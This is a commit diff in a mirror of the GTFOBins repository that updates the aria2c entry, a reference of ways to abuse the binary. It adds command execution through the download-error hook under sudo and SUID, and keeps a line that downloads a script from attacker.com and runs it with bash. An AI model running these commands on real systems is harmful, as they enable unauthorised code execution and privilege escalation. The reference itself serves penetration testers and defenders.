mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
parent
65b762ca80
commit
17c3e974a7
@ -1,13 +1,27 @@
|
|||||||
---
|
---
|
||||||
description: |
|
description: Note that the subprocess is immediately sent to the background.
|
||||||
Note that the subprocess is immediately sent to the background.
|
|
||||||
|
|
||||||
The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed.
|
|
||||||
functions:
|
functions:
|
||||||
execute-non-interactive:
|
execute-non-interactive:
|
||||||
- code: aria2c --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
- code: |
|
||||||
|
COMMAND='id'
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "$COMMAND" > $TF
|
||||||
|
chmod +x $TF
|
||||||
|
aria2c --on-download-error=$TF http://x
|
||||||
|
- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed.
|
||||||
|
code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./aria2c --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
- code: |
|
||||||
|
COMMAND='id'
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "$COMMAND" > $TF
|
||||||
|
chmod +x $TF
|
||||||
|
./aria2c --on-download-error=$TF http://x
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo aria2c --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
- code: |
|
||||||
|
COMMAND='id'
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "$COMMAND" > $TF
|
||||||
|
chmod +x $TF
|
||||||
|
sudo aria2c --on-download-error=$TF http://x
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user